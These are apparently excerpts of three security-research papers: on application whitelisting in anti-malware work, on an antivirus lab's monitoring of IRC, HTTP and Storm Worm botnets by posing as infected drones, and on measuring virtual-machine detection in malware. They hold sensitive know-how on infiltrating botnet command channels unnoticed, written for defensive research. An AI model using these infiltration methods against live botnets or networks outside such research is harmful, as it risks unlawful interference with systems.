reduces the incoming malware feed by anywhere from 10-30%.

Anti-Malware: False Negatives or Automatic Discovery of New Strains of Malicious Code

From a very simple example illustrated in figure 4, it is evident that even the simplest heuristics can 
yield  excellent  results.   The key here  is  a  combination  of  whitelisting and blacklisting with  a 
required introduction of structured knowledge about files and their building blocks.  Databases then 
become essential tools in harnessing the most from manual investigation done by anti-malware labs 
around the world.

Going back to the example from figure 4, when it comes to Spyware, by storing as much of meta 
data about malicious samples (or good samples for that matter) you can create a vertical detections 
list.  This is a list of files detected for all version of the same file, given a starting sample.  This 
simple  heuristic  then  becomes  a  key  for  identifying  obvious  false  positives  (for  whitelisted 
elements) or obvious false negatives (for malicious content).  You will see in the figure that out of 
20 odd samples, the majority is detected by anti-malware scanners, yet there are samples that still 
today are not detected by any of the 20+ anti-malware scanners that we have used in this test.  As 
this is not a unique example, among the subset of Spyware components, this technique yields 20% 
success rate, that is, 20% of false negative samples even when utilizing results of 20+ anti-malware 
scanners.

Figure 4: Example of Vertical File Detection for Spyware

Anti-Malware: Increasing efficiency of anti-malware scanning



Speak to enterprise administrators or outspoken consumer advocates and following their concerns 
for the state of malware detection, conversation will almost always turn to the ubiquitous deep scan. 
Why can’t I use my computer when a full deep scan is under way?  Why does it take so long?  What 
is it doing?  Is it the legacy code that it is slowing it down?  Have we selected a wrong vendor? 
And then the most insulting of all, is it a poorly written code?  

To address these issues, state of the art technology records interesting file information into alternate 
data streams.  Yet,  a  whitelisting approach would allow that with a  proper use of caching and 
software authentication, a full system scan can be reduced by upwards of 90% percent. To achieve 
this, a trust algorithm has to be applied to all contents of an end point system, and based on it, a 
scanner would decide if a full file or directory scan would be attempted.

Anti-Malware: Improving product quality

It may be counter-intuitive, but the most natural place for whitelisting within the anti-malware lab is 
by safely straddling the research process, before samples enter the workflow process (filtering), as 
another data point during the research process (e.g. is malware exploiting known vulnerabilities of a 
known  component),  and  as  a  verification  step  following  the  signature/definition/behavior 
generation, thus insuring “false positive” mitigation.

Whitelisting  successfully  addresses  following  aspects  of  the  research  process:  software 
authentication (making sure that exact source for a certain binary is known), malware name cross 
referencing (another counter-intuitive element), certificate validation, validation of file embedded 
meta data,  as well as PE format data anomalies.  

Helped by such information a new signature is created.  It now gives the testing department a new 
ability to verify that indeed the original sample cannot possible come from Microsoft and that the 
scanner accurately interprets the generated signature.  We are not partial to Microsoft here as any 
selection of trusted vendors could be built for this purpose.  It is just that from a perspective of an 
Anti-Malware product, deleting or quarantining critical OS or application elements is akin to using 
anti-histamines that increase your blood pressure.  Medicine should be beneficial and not harmful to 
the patient.   

Scanning  a  repository  of  whitelisted  software  is  a  critical  element  for  all  modern  labs.   New 
heuristic or behavioral rules can thus be verified so that they detect only malware and not issue false 
positives against popular and benign software.  But most importantly, new software arrives to the 
market  that  hitherto  was  not  available  and was  not  tested,  but  is  now liable  to  trigger  a  false 
positive.  This process allows the testing lab to send back such cases straight back to the research 
lab.

This all points to a recommendation that extended false positive scans should be integrated directly 
into the fabric of a signature/update validation process, even if it meant holding up an update.  Of 
course, a sense of prudence has to be applied here as not all signature updates are equal and threat 
levels could vary widely.   Yet, wholesale scanning of super large repositories of software is best 
suited  for  testing  of  next  generation  scanners  and/or  significant  updates  to  heuristic  engines.  
Particular  care  has  to  be  placed  in  integration  of  1M+ files  obtained  from Microsoft’s  binary 
differential updates, as they usually patch core Operating System elements and are highly sensitive 
should heuristic or behavioral detection fails.  These files cannot be easily generated by simply 
decomposing the archive.  One needs to build a database, keep a track of previous file versions so 
that a binary patch update process can properly generate a file that is actually present on a target end 
point system.
There are other side benefits of instrumenting a large collection of whitelisted material for testing 
purposes.   By tracking  scanner  performance parameters  over  millions  of  files,  scan  times  and 
scanner stability can be tracked.  Crash dumps collected could be directly related to improving end 



point protection as whenever a scanner crashes end user is left unprotected.  But even more so, this 
information is directly related lowering support costs.  It sounds quite obvious, but there is a strong 
relation between customers who call the support line less and their satisfaction.

Anti-Malware: Packers and Protectors

More and more commercial software uses packing and protecting techniques which were yesterday 
the exclusive domain of malicious code.  What companies such as Adobe (ASPack) and Google 
(PECompact) are discovering is that better compression saves bandwidth costs for the vendors and 
improves the experience for users through faster application loading.  Games vendors are especially 
sensitive  to  download  and  load  times  as  their  core  applications  are  frequently  hundreds  of 
megabytes large.  They are also extremely paranoid about protection of their intellection property. 
For example, Skype has modified InnoSetup to achieve a proprietary install.  Game developers are 
opting  for  Themida’s  multi-processor  multi-VM  layer  protection,  which  comes  at  significant 
performance premium, just because hackz and crackz of their multiplayer games have a catastrophic 
impact on their businesses.

Accurate  packer  detection  through  whitelist  mitigation  is  critical  for  proper  development  of 
unpacking mechanisms geared towards detecting malware.  Today, there are some 250+ family of 
packer/protector  software.   These  formats  were  present  last  year  in  1%  of  all  whitelisted 
applications,  and in  over  70% of  all  malicious  samples.   Latest  data  suggests  that  1% among 
whitelisted applications is greatly underestimated.  Bit9 has grown its collection in the same period 
by  over  300% and prevalence  of  packers  and protectors  is  at  over  2%.   In  real  numbers  this 
represents  over  300,000  non-malicious  applications.   Accurate  packer/protector  detection  and 
whitelist mitigation then becomes a critical cornerstone for determining the quality and deficiency 
of packer/protector detection code.

Personal Firewalls

Application Whitelisting is a natural complement for all end point firewall solutions as it brings to 
the  table  information  that  has  so  not  been  leveraged  so  far.   A whitelist  is  in  essence  a  file 
authentication and reputation database that is used to accurately inform end users in all notification 
scenarios. End users can then better determine whether to approve or deny certain component’s 
attempt to obtain network access.

Many of us have been baffled by questions such as: “svchost.exe want to access Internet”.  Even 
advanced users have hard time in determining whether they should let  this process continue or 
whether  they  should  consider  the  warning  seriously.   Some  products  provide  software 
authentication based simply on a matching file name.  That is not whitelisting as it is akin to a 
Google search and as the equivalent level of trustworthiness.  File names can be easily changed and 
even embedded meta data can be easily spoofed.  In Bit9’s research we have identified more than 
200,000 malicious  components,  usually  Trojans,  which  are  impersonating  various  Microsoft  or 
Adobe components.   

The correct approach is not only a hash based identification process but also the ability to correlate 
a file to a software product to a trusted software source.  In other words, goal is to perform a true 
software authentication with a significant degree of trust.  In this way, end user could be given a 
relevant information to make the satisfactory decision of whether to approve or not approve certain 
network action.

 HIPS:  Building internal whitelist for HIPS-like functionality

Real time protection has become a staple of all serious anti-malware products.  Approaches tend to 
differ  by  using  HIPS,  heuristics  or  behavioral  approaches.   In  almost  all  cases,  the  goal  is  to 



generate a looser set of signatures/definitions/rules/behaviors that have a potential of capturing not 
existing malware but rather not yet written malware.  This approach has been with us for the past 
ten  years  and  can  still  be  vastly  improved  by  not  warning  the  end  user  about  known  good 
components.  In almost all cases there is a great degree of uncertainty on just what kind of code will 
be encountered in the future.

Whitelisting solution for this problem is to build a complementary logic to the malware approach in 
question, be it HIPS, heuristics or behavioral.  Whitelisting databases could provide information on 
files and software in exactly the same format as it is demanded from a blacklisted repository.  In 
addition careful software identification for all files can exclude all the whitelisted components from 
the effects of anti-malware analysis, not only increasing the speed of analysis, but also ensuring that 
the final determination is as close as possible to its intended functionality of securing accurate 
identification of malicious activity.

Vulnerability Research

Vulnerability  research  has  been blossoming in  the last  few years  and for  all  the  right  reasons. 
Exploits have been steadily more and more important as a principal entry point for all types of 
malicious  attacks,  especially  for  the  bespoke  kind.   As  such  knowledge  about  exploits  and 
vulnerabilities has become a pastime for many enterprise administrators and threat researchers.

Whitelisting can be of use here as well.  A properly constructed whitelisting database can easily 
produce a report of all the affected products given a discovery of a single vulnerable file.  In today’s 
time and age much of the code is being redistributed, and often many times.  We have been noticing 
in the open source community redistributions of redistributions, all using different packing methods. 
Bottom  line  is  a  nightmare  for  an  anti-malware  lab,  but  also  proliferation  of  redistributable 
components.

Yet there’s more that whitelisting could help with.  By indexing vulnerability patterns, function 
signatures  and  even  PE  format  data,  further  vulnerabilities  could  be  discovered  by  simply 
harnessing the power of relational databases.

Figure 5: Growth in vulnerability exploits by malicious code



Application Whitelisting for the Enterprise (AWE)

Application Whitelisting is a critical element of software application control at the end point.  If you 
take your problem to be wider and more comprehensive than a controlling of all that is bad, then 
your problem has just become much more complex.  Today, there are certain controls that simply 
could not be established with an anti-malware solution.  For example, should your organization 
want to ban all the disk wiping tools, steganography applications or wireless sniffers from each and 
every endpoint,  this  is  not  something that  an anti-malware or a  vulnerability product  has been 
designed to deal with.

On the other hand, whitelisting is essential for approval of software that an IT department wants to 
roll out in a controlled manner [Figure 6].  It is essential when identifying valid patches, software 
updates,  and  third  party  drivers.   Bottom  line  is,  whitelisting  is  essential  for  end  users  and 
administrators to regain the trust over their computing environments.

But for enterprise administrators, the game is much more complex as they have to decide for others, 
depending on their roles, compliance policies or governmental regulations, what is appropriate and 
what is unwanted.  For example, Skype is generally not allowed in environments, such as trading 
floors, where all communication has to be audited for compliance reasons.  IMs, Games and VOIP 
are not allowed in call centers or factory floors.  Any unapproved software is not permissible in 
Point-of-Sales terminals such as cash registers or ATM machines.  Such enterprise administrators 
are worried about malware, but they are equally worried about presence of remote access tools, 
hacking tools, denial of service applications, password crackers, exploit scanners, file splitters; and 
the list go on.

Whitelisting has been wired for a different scale that is different than simple looking for what is 
bad.  As such it is able to identify and assure users of the existence of acceptable software, but also 
of  the  existence  of  borderline  software  applications  such  as  P2P  and  Games.   In  this  way, 
application control at the end point can be instrumented to approve what is good and ban not only 
what is malicious but also what is not wanted.



Figure 6: The Graylist: properly managed knowledge over files on your system converts this  
problems into a Whitelist and Blacklist scenario

CONCLUSION

Developing  a  strong  whitelisting  strategy  in  anti-malware  product  development  and  testing  is 
increasingly  the  critical  differentiator  that  separates  different  technology  approaches  one  from 
another.  A new whitelisting vantage point is poised to rejuvenate existing security approaches and 
be a guardian of future.  In other words, whitelisting puts the customer experience in the first place 
whether in research lab or at the endpoint.  Let’s start proscribing wellness and physical therapy 
while making sure to that medicine does not have bad side effects. Then in those rare occasions will 
our medicine be able to protect the patient from malicious effects.
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Keeping Up with The Botnet

Abstract

Over  the  last  few years  the  botnets  have  become an  integral  part  of  the  internet  as  we know it.  
Controlling infected systems has become the main objective of every malware writer so practically  
every malicious file includes some form of remote control or the means to achieve it. This causes some 
real problems for the anti-virus industry as less and less samples have a pre-programmed behaviour 
and are more and more controlled during runtime by remote attackers.

That is why regardless of the type of third party control the bots use we believe botnet monitoring to be 
one of the best ways of keeping these threats under control as it can help detect new variants at the 
source, observe the botnet's behaviour as a whole, estimate its size and perhaps even obtain some  
information useful in mitigating a potential attack.

In this paper you can find out more about the latest botnet trends and some methods and techniques we  
used to counter them. Different monitoring solutions will be presented according to the communication  
methods used. Moreover the paper will cover the trend of protocol shifting from IRC towards HTTP or  
others such as P2P techniques used by newer botnets such as the Storm Worm. The tools we developed 
and used for this purpose will also be described along with the results we obtained and statistics we  
built during our research.

Introduction

The botnet has become a global phenomenon. Unlike during its beginnings when the concept was little 
known to the general public, today the fact that there are countless infected computers congregating in 
networks and carrying out the orders of attackers with malicious intents is a well known fact. As the 
botnet phenomenon grew so did the awareness of their existence and soon security experts began to 
take a closer look at this "darker side of the internet" (The Shadowserver Foundation).

Independently  of  other  botnet  monitoring  organizations,  and  in  some  cases  unaware  of  previous 
monitoring projects (The HoneyNet Project & Research Alliance., 2005), during 2005 we took the 
decision to implement our own botnet monitoring system. The botnets have come a long way since 
then and in order to keep up with them we had to adapt. From our first attempts to monitor botnets in 
the early days until today a lot has changed. Some of the few things that didn't was the belief that 
botnet monitoring could yield tangible results (both scientific and practical) and that the best way to 
monitor botnets is to observe without interfering.

IRC Bots and The ABM project

For a long time IRC has been the attackers' favourite protocol for controlling botnets, and IRC bots 
where undoubtedly the fastest growing threat in the malware history. It took only a couple of years for 
the malicious IRC bot to jump from proof-of-concept to the most prevalent malware type in the wild. 
From their beginnings until their peak, IRC bots have constantly and steadily improved as malware 
writers were continuously adding new features and innovations with each released variant.  After a 
while  the IRC bot had so many features that it could control the infected system in any conceivable 
way. From sniffing traffic to sending spam, from  logging keys to acting as different types of servers, 
from performing DDoS attacks to capturing WebCam streams, there was practically nothing the IRC 



bots couldn't do (Canavan, J., 2005). The list of features  had reached a critical mass and it was the time 
for malware writers to start focusing on a different aspect: making their bots more difficult to detect by 
Antivirus software.

It was the peak of the IRC botnets as the scene was flooded with countless small variations of older 
IRC bots using countless different methods of runtime packing and encryption. The mass production of 
IRC bots had started and this made the botnet problem very difficult one to keep under control.

In order to cope with the huge number of variants that kept appearing and prompted by the fact that 
practically every bot included the functionality to download and execute files (either in order to update 
itself or to install adware or spyware) the Avira Virus Research Lab started the ABM (Active Botnet 
Monitor) project.

The original purpose of the project was to find a way of obtaining the download locations in order to 
obtain  the  malicious  files  directly  from  their  source  and  to  combat  them  before  they  become  a 
widespread threat. Although this is still its main objective, the ABM project has proved to have several 
other uses, such as the collection and building of statistics relating to botnets’ size and location and 
highlighting the relationships between different threats.

IRC Monitoring

It was soon obvious that the best (and probably only) way to gain access to the information we needed 
was to enter the botnet by pretending to be an infected system and analyse the communication between 
our bot and the C&C server. 

In order to do this we designed and built a system that could automatically accomplish this task once it 
had the details needed to connect to a botnet's C&C server. In theory all one needs to know in order to 
monitor an IRC botnet is the address of the server, the port it runs on , the server password (in case the 
server has one) and the channel or channels the botnet is hosted on (and their passwords if necessary). 
Furthermore for a successful monitoring session it is crucial that the bot logs in to the IRC server using 
some specific user data and nickname format.

Obtaining this information is the easy part as it is hard-coded in the body of the malicious file and can 
easily be discovered by very basic analysis techniques. The hard part consists in accurately mimicking 
the bot's  behaviour  once the connection with the botnet  is  established in order  to  obtain as much 
information as possible without arising the bot herder's suspicion.

In order to accomplish this we decided to develop our own universal bot based on (but not restricted to) 
the IRC protocol (Gherman A., 2008). We made this decision after noticing that quite a few of the 
known botnets used modified, not RFC compliant, IRC servers in order to restrict access to them using 
conventional IRC clients (in order to protect themselves either from security researchers or authorities 
trying to spy on them or shut them down, or from rival attackers trying to take over their botnets).

After testing several of our ideas we decided that the best monitoring solution would be the deployment 
of an IRC-like protocol which would consist of two statuses: 'trying to connect' and 'connected'. 
The ‘trying to connect’ status is more or less a typical session when a client tries to connect to an IRC 
server and join channels. The difference is that our client doesn’t expect the server to provide any 
useful information regarding the login process (we had to adopt this solution since we cannot know 
beforehand whether the IRC server we are trying to monitor is RFC compliant or not). 
For example, a normal IRC login session would require (most of) the following steps:



– PASS (if the server has a password)
– NICK
– USER
– MODE (if the bot is known to set a certain user mode)
– JOIN
The server would normally supply responses after each step and in addition it would issue a PING after 
the NICK or the USER command (i.e. before the client logs in). However, since we cannot rely on the 
server’s answers, our client just issues each of these commands one by one and waits for a certain 
amount of time after each one. If the timeout expires and no message is received from the server
our client jumps to the next command in the sequence. If a message is received, the client checks if the 
message is a PING. If it is, it replies with the appropriate PONG and jumps to the next command, 
otherwise it waits for the timeout to expire again (waiting for the second time is necessary as some 
servers split what is normally a single message into multiple messages). 

After a successful connection our bot would listen to the commands analyse the messages and act 
accordingly. An important aspect of our monitoring system is that it considers every message from the 
server to be suspicious. All the traffic is analysed (from the servers' "Message of the Day" and channel 
topics to private messages and notices of users going off-line or coming on-line) in search of URLs 
hosting potentially malicious files, or of any other information that could give us a clue regarding the 
botnet's size, localization or actions.

Another interesting feature of ABM is its ability to automatically join different channels during runtime 
if such a command is received from the botnet operator. This proved to be a very good idea, as it helped 
to  mimic  the  malware’s  behaviour  accurately  and  also  provided  a  way  of  obtaining  additional 
information that was not available through monitoring only those channels that were hard-coded in the 
body of the bot. 

For example, botnet controllers might become suspicious if one of their bots didn’t  obey  such an 
obvious command. Furthermore, it was known that botnet herders sometimes prefer to organize their 
bots in several different channels, in order to provide more efficient control (especially concerning 
large botnets) or just to keep ‘back-ups’ of the bots on other channels in case the original channels are
taken down or hijacked. Therefore,  getting onto as many channels as possible (without raising the 
attacker’s suspicion) was definitely the right thing to do.

Another aspect we had to take into consideration was how our bot would reply to the commands issued 
by the operator. It was a known fact that bots have pre-programmed answers to any of the commands it 
accepts in order to inform the bot herder that a valid command has been received. The problem was that 
these answer messages differed from one known variant to another and all the chances were that future 
variant would also have different answers than the ones we were aware of at the moment.  
As a result we decided that our bot would always remain ‘quiet’. It would never reply to any of the 
operator messages. Although we weren’t completely happy with this approach, and we feared we might 
easily be discovered, it  turned out to be a lot more efficient than we had anticipated. First,  this is 
because botnet operators have to deal with very large numbers of bots, and if sometimes one doesn’t 
reply it usually goes unnoticed. Furthermore, a bot’s failure to reply can be explained in several ways 
(e.g. lag, a bad connection, filtered traffic, lost packets, etc.), but a bot replying with a wrong message 
would surely tip off the attacker about our presence.

Additionally we decided to implement some other features to our system, namely the ability to log all 
messages exchanged with the C&C servers that cannot be processed automatically in a database for 
further study of a botnet's actions during its lifespan and the ability to count bots in order to estimate 
botnets' size more accurately.



Eventually our IRC monitoring system would operate according to the following simplified diagram:

Figure 1: Simplified diagram of how ABM works.

Results

Using these principles over the last two years we monitored over 20,000 channels on more that 9,000 
servers, identified over 80,000 (unique) infected IPs and estimated (very conservatively) the cumulative 
size of the monitored botnets at over 600,000 drones. Furthermore we were able to find out that while 
the command & control  centres  where mostly hosted in the US and just  a  few other  countries  in 
Western Europe and South-East Asia, the infected systems were much more evenly distributed across 
the globe.



Figure 2: Localization of C&C servers

Figure 3: Localization of Infected IPs

Our most important result, however, where the malicious files we obtained directly at the source by 
watching the over 3,000 URLs received from the C&C servers.

Current Status

The beginning of 2008 saw a considerable decrease in the number of IRC botnets. In the first two 
months of the year combined only 314 new C&C servers appeared compared to the 2007 monthly 
average of 291. Starting with March, however, the situation changed as more and more botnets starting 
to appear. At the moment the number of botnets that appeared in the first two weeks of March exceeded 
the 2007 average and it may rise even more in the near future.

Figure 4: Occurrence of new C&C servers

The overall botnet activity so far saw a significant decrease starting from the beginning of the new year 
as only 20,358  messages were exchanged with the C&C servers (compared to 32,837/month in 2007), 
only 53 new URLs hosting malware were spotted (compared to 131/month in 2007) and we managed to 
identify only 2,072 new IPs (compared to 5,105/month in 2007).



Figure 5: Overall botnet activity (measured in number of messages)

Figure 6: Occurrence of malicious URLs

Figure 7: Occurrence of new infected IPs

At the moment the cumulative size of the botnets we monitor is estimated to be somewhere between 
120,000 and 150,000 drones. The number is clearly smaller than what we were used to in the past but 
still not small enough to neglect. The prevalence of IRC botnets is certainly declining but they are 
definitely not dead yet and keeping an eye on them is still worth the effort.

HTTP Bots

HTTP has for a long time been seen as a possible replacement for IRC as the preferred protocol for 
controlling botnets. From the attacker's point of view the advantage of HTTP is obvious: the traffic 
generated by a HTTP bot is a lot harder to detect by an unsuspecting user or administrator as it can 
easily be mistaken for legitimate user-generated traffic.



On the other hand HTTP doesn't offer the same control over the infected system as IRC does. In case of 
botnets controlled over HTTP an attacker cannot know for sure how many drones they have at their 
command and in some cases how they are carrying out their orders. Furthermore, unlike IRC, HTTP 
cannot provide a way of perfectly synchronizing a botnet. If in the case of an IRC botnet a channel of 
drones would always stay connected and immediately obey any issued command, for HTTP there is 
always a gap between the moment the attacker issues a command by changing the content of the web 
page and the moment the drones reconnect to the server and receive the new command.

From the point of view of restricting the access to the C&C server HTTP has both advantages and 
disadvantages over IRC. The advantage is perfectly clear: an HTTP server is a lot harder to hijack than 
an IRC channel. On the other hand an HTTP server cannot in any way restrict 'unauthorized' access to 
the content of the page used for C&C. The only thing it can do is check the User Agent of the client 
that tries to connect and deny access to the content of the page for any client whose user agent is 
different than the one used by the bot. In other words an HTTP botnet is a lot harder to take over but a 
lot easier to spy on. 

HTTP Monitoring

Keeping this in mind we decided to set up our own HTTP monitoring system. This proved to be a lot 
easier than IRC monitoring as all we needed to know in order to have access to the commands issued 
by the bot herder was the C&C URL and the User Agent used by the bot, information which can be 
easily obtained by a quick analysis of the malicious file.

Once this information is collected all one has to do is periodically connect to the URL providing the 
correct  User  Agent  in  the  header  of  the  request  and  analyse  the  content  of  the  monitored  page. 
Additionally we decided that our system would not only search for potential download locations for 
malicious files but also for other URLs that can be potentially used as C&C centres We had to take this 
into consideration as our previous experience with trojans controlled over HTTP showed that in some 
cases the main C&C URL (the one contained in the body of the malware) doesn't contain any useful 
information and it just directs the bots to other locations.

The problem with this solution is that it may be hard for an automated system to tell the difference 
between a URL provided by an attacker for remote control purposes and a possibly legitimate URL that 
happened to be on that page. In order to cope with this problem we decided to have an exhaustive 
domain white-list and ignore the URLs hosted on these trusted domains. On the other hand we also 
thought of the possibility of  trusted domains being compromised at some point in time, or of trusted 
domains  having  untrusted  subdomains  (especially  in  the  case  of  sites  offering  free  web  hosting 
services) and implemented ways for URLs on trusted domains to also be monitored under some special 
circumstances. 

For instance  example.com may be a trusted domain but at some point in time it may be somehow 
compromised and the URL http://example.com/directory/botnet.htm might be used as a C&C centre for 
an  HTTP botnet.  Another  example  of  the  need  to  bypass  the  white-list  could  be  the  following: 
example.com is a legitimate site offering free web hosting and an attacker uses their services to register 
the domain someone.example.com  and use it as a C&C centre In both cases the domain example.com 
would still remain trusted but the URL in the first example or the registered subdomain in the second 
example should be monitored.

Our biggest problem so far with HTTP monitoring, however, is the fact that it cannot be a completely 



automated process. The quantity of URLs obtained during a short monitoring session  is huge and 
every once in a while it is necessary for a user to tell the system which URLs should still be monitored 
and which can be ignored in the future. For example in one of our first monitoring sessions we started 
from 3 URLs we knew were used to control infected systems and in less than an hour we had over 200 
new URLs out of which only 4  were suspicious of being additional C&C centres and 6 URLs that 
hosted executable (potentially malicious) files. The 6 executable files were identified correctly by the 
system but it's clear to see that if we continued monitoring all 194 URLs instead of just the 4 suspicious 
ones we would have been led on a wrong track.

Another potential problem is the fact that the system considers only executable files to be suspicious as 
malware. We know this might cause a problem in a time when script and HTML malware is becoming 
more and more common but we have to keep in mind that the URLs we are monitoring are used to 
control already  infected systems. It would make very little sense for an attacker to make his bots 
Furthermore, in the unlikely case of this happening the malicious script would be easily noticed during 
the manual classification of the obtained URL so no information will be lost. Therefore we preferred to 
automatically  consider  suspicious  as  malware  only  the  URLs  hosting  executable  files  and  keep 
monitoring rest until they are manually classified by a researcher.

In  other  words  our  HTTP monitoring system would operate  according to the  following simplified 
diagram.



Figure 8: Simplified diagram of how the HTTP monitor works.



Current Status

At the moment we are just the beginning of HTTP monitoring and it is still too early to draw any 
conclusion.  However  we  are  certain  that  in  the  near  future  more  and  more  malware  writers  will 
implement at least a minimum set of features that will allow at least partial control of the infected 
systems over HTTP. Even if the HTTP botnets will probably never rise to the level of the IRC botnet 
phenomenon and the chances of seeing a full-featured HTTP bot whose remote control functionality 
would be  comparable to that of IRC bots are very slim, we are certain that HTTP botnet monitoring 
will provide very useful information in the long run. 

Botnets Using Alternative C&C Methods

For a while security experts have been constantly making assumptions about the future of botnets, 
mostly  about  the  change  of  the  C&C  protocol  used  to  control  the  infected  systems.  Some  have 
suggested the use of the AIM protocol (Myers, L., 2006) or of other protocols used by popular IM 
clients, others have thought of the possibility of controlling botnets by RSS feeds (Finjan Malicious 
Code Research Centre, 2007), while others envisioned a future where botnets use their own custom 
encrypted protocol.  One thing that most researchers seemed to agree upon was that the traditional 
botnet hovering around a central C&C server will eventually be replaced by a more flexible structure, 
most likely using peer-to-peer techniques, which will make it harder to track and also eliminate the 
C&C server as a central point of failure.

There have been previous attempts by malware writers to implement C&C botnet among which the 
most notable were the Phatbot and the Nugache worms. However, the most successful was attempt in 
the peer-to-peer botnet field was by far the Storm Worm.

Storm Worm:  Case study

The Storm Worm was the biggest thing that hit the IT security scene in 2007 and probably the biggest 
step in botnets' evolution since their early days. Given the huge success this botnet had in confusing 
security researchers, eluding the authorities and remaining active and unharmed for more than a year 
we decided to start thinking of ways of infiltrating the botnet. In the following paragraphs we will 
present you some of our ideas for monitoring the Storm Worm. Please keep in mind that this is not 
supposed to be a complete malware analysis of the Storm Worm, we deliberately left out parts related 
to  malware  obfuscation,  anti-debugging  tricks,  social  engineering  or  other  aspects,  which  are  an 
integral part of the Storm Worm phenomenon (Porras, P. Saidi, H., & Yegneswaran, V., 2007), in order 
to present just some essential parts related to possible ways of monitoring this treat.

The First Steps

Before attempting to connect directly to the Storm botnet we decided to perform an off-line experiment 
in order to better understand the mechanics behind its network. What we did was take a sample of the 
malware and run in on two systems in our lab. Afterwards we stopped its execution and modified the 
configuration files, which consisted of  the Kademlia tables (Grizzard, J.B., Sharma, V., Nunnery, C., 
Kang, B.B, & Dagon, D., 2007)  containing the list of peers the bot would connect to, in such a way 
that each of the two infected systems would only contain each other's address in the peers list. After 
restarting the malware we were amazed to see of how the two system interacted. We were expecting 
that they would only ask each other for additional peers but  there was a lot  more communication 
between the two going on and in the end one of them instructed the other to start a web server. No files 
were hosted on the newly started web server but it was still amazing to see how this botnet not only 



operates in a fully peer-to-peer environment in order to hide the attacker but is also able to issue and 
carry  out  commands  without  any  human  interaction  whatsoever.  It  was  clear  that  our  traditional 
monitoring techniques would fail and we had to find a different solution.

Trying to Locate The C&C Server

The second step we took in better understanding the Storm Worm was to analyse the files in which it 
stores the addresses of its peers. We were only interested in the addresses hard-coded in the body of the 
malicious files and not the peers obtained during runtime as we thought any "central" point(s) of failure 
for the botnet, if they exist, would be in this list. We realised that if there was such a central authority 
for this botnet it would be important for us to know which it is in order to keep a closer eye on it and in 
turn to avoid being discovered by it.  Below you can see the results of our address prevalence test 
starting from a set of 80 Storm Worm samples from different outbrakes.

The results are not particularly relevant to help discover the structure of the Storm network
as we obtained a list of 5,375 distinct IPs out of which 242 were hard-coded in all of 80 samples we 
analysed, and the localization of the hard-coded IPs didn't help much either.

Figure 9: Storm Worm hard-coded IPs localization

Some security experts suggested that in fact there is not just one but several Storm botnets which act 
completely independently. Whether this assumption is true or false doesn't in any way change the basic 
ideas for monitoring it  or them, as the same principles can be applied  for one or more networks. 
Furthermore we are confident that perhaps only monitoring can eventually help confirm or disprove the 
idea of there being more than one Storm botnets.

Possible Monitoring Solution

Our monitoring solution for the Storm botnet differs radically from the systems we previously deployed 
when dealing with other types of botnets. This is not surprising considering we are not dealing with a 
typical botnet here. If in the past we could have built our own universal tool which could work for any 
known botnet once it  had the necessary login details, in this case we decided the most reasonable 
solution would be for our monitoring system to always be assisted by the actual bot.



Figure 10: Proposed Storm Worm monitoring solution

Our monitoring system would be deployed between the botnet  and a  copy of  trojan running in  a 
secured environment. After deployment our monitor would intercept and forward all traffic from the 
bot to the botnet and the other way around acting effectively as a man in the middle. This way we 
would not need to care about implementing the protocol or trying to fake the behaviour,  since we 
already have a live malware sample which we could mimic. We initially wanted to implement this idea 
for IRC bots in one of the early designs for the ABM project, but at the time decided it would not be 
feasible due to the huge number of different IRC bots. In the case of the Storm Worm, however, we 
think this to be one of the best solutions.

Conclusion & Future Plans

One of our plans for the near future is to manage to establish a permanent connection with the Storm 
botnet and monitor it over a longer length of time in order to figure out the topology of its network, 
provide a relevant estimate of its size and capabilities and perhaps even find away to get access to the 
updated samples before they become widespread in the wild.

Furthermore we are determined to keep a close eye on all types of botnets, regardless of the protocol 
they employ using the same principles as we did in the past, if necessary adapting to the future botnet 
trends and constantly learning new things from our experience. We cannot know for sure what the 
future of botnets will bring but we are certain that monitoring them can help mitigate the threat.
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Measuring Virtual Machine Detection in malware using DSD tracer

Abstract

Most methods for detecting that a process is running inside a  virtual environment such as VMWare 
or Microsoft Virtual PC are well known and the paper briefly discusses the most common methods 
measured during the research.

The measurements are conducted over a representative set of malicious files, with special regards  
to packer code. The results are broken down with respect to malware category, families and various  
commercial and non-commercial packers and presented in a graphical and tabular format. The  
extent of virtual machine detection problem is estimated based on the results of the research.

The main subject of the paper is measurement of actual usage of Virtual machine detection methods  
in current malware.  The research uses DSD Tracer, a Dynamic-Static tracing system based on an  
instrumented Bochs virtual machine. The system employs tracing to produce traces of execution 
that can be scripted or used as a basis for disassembly/emulation in IDA Pro when combined with a  
customised version of IDAEmul (emulator). The paper gives an overview of design and usage of  
DSD Tracer.

Introduction

Virtual machine technology is not new. The concept was originally developed by IBM in the late 
fifties and early sixties to allow sharing of resources on large and fast mainframe computers of the 
day. 

With  the  increase  of  interest  in  virtualization  and  usage  of  virtual  machines  in  production 
environment the virtualization technology has attracted a lot of attention from the virus writers and 
computer security research community. 

It is a well known fact that virtualization technology was adopted in its early stage by security 
researchers  and  anti-virus  laboratories.  Virtual  machines  provide  a  powerful  malware  analysis 
environment and are widely used in IT security community. Anti-virus researchers were one of the 
early adopters of the technology as early as 1999.

Soon after the initial adoption period, it became clear that many anti-virus companies are using 
virtualisation in the analysis process.  For this reason malware writers invested a significant amount 
of time in analysis of various virtualization implementations with the objective to find methods that 
will allow malware to detect the presence of virtual machine. If the virtual machine was detected, 
malware could simply behave like a legitimate program or more commonly, refuse to run inside the 
virtual environment. If automated logic was used to decide if a program is malicious based solely 
on  its  behaviour,  the  malware  would  be  able  to  avoid  detection  by  anti-virus  software  –  the 
detection signatures would not be created and the sample would be archived (or discarded) as non-
malicious.

As a result of the virus writer’s and security researcher’s efforts, several methods of detection have 
been developed. 

Although it is well known that many malware samples are VM-aware, we have not been able to find 
any research that attempts to measure the proportion of VM-aware malware in the set of all known 
malware samples. This proportion is very important when investigating the feasibility of developing 
a large scale automated analysis system. 

If the proportion of VM-aware samples is very small (< 0.1 percent) we may be able to ignore it and 
manually analyse samples that do not produce results when run inside a virtual environment. If the 



proportion  is  higher  than  that,  an  effort  has  to  be  made  to  account  for  development  of  an 
environment  able  to  successfully  analyse  VM-aware  malware.  For  example,  a  multi-stage 
automated system could be developed. In the first stage the sample is moved to virtual environment 
and  run  inside  the  guest  OS  providing  a  relatively  quick  check  using  a  simplified  hardware 
configuration (full analysis network running inside one physical machine). Only if the virtualized 
analysis system does not produce conclusive result the sample is moved to the next phase - a system 
based on real hardware. 

Virtualization and security research

Despite the fact that there are several detection methods, virtualisation is often used in computer 
security research. Here are just some of the most common use cases:

Software vulnerability research

Vulnerability research is in many ways similar to product testing. A vulnerability researcher may 
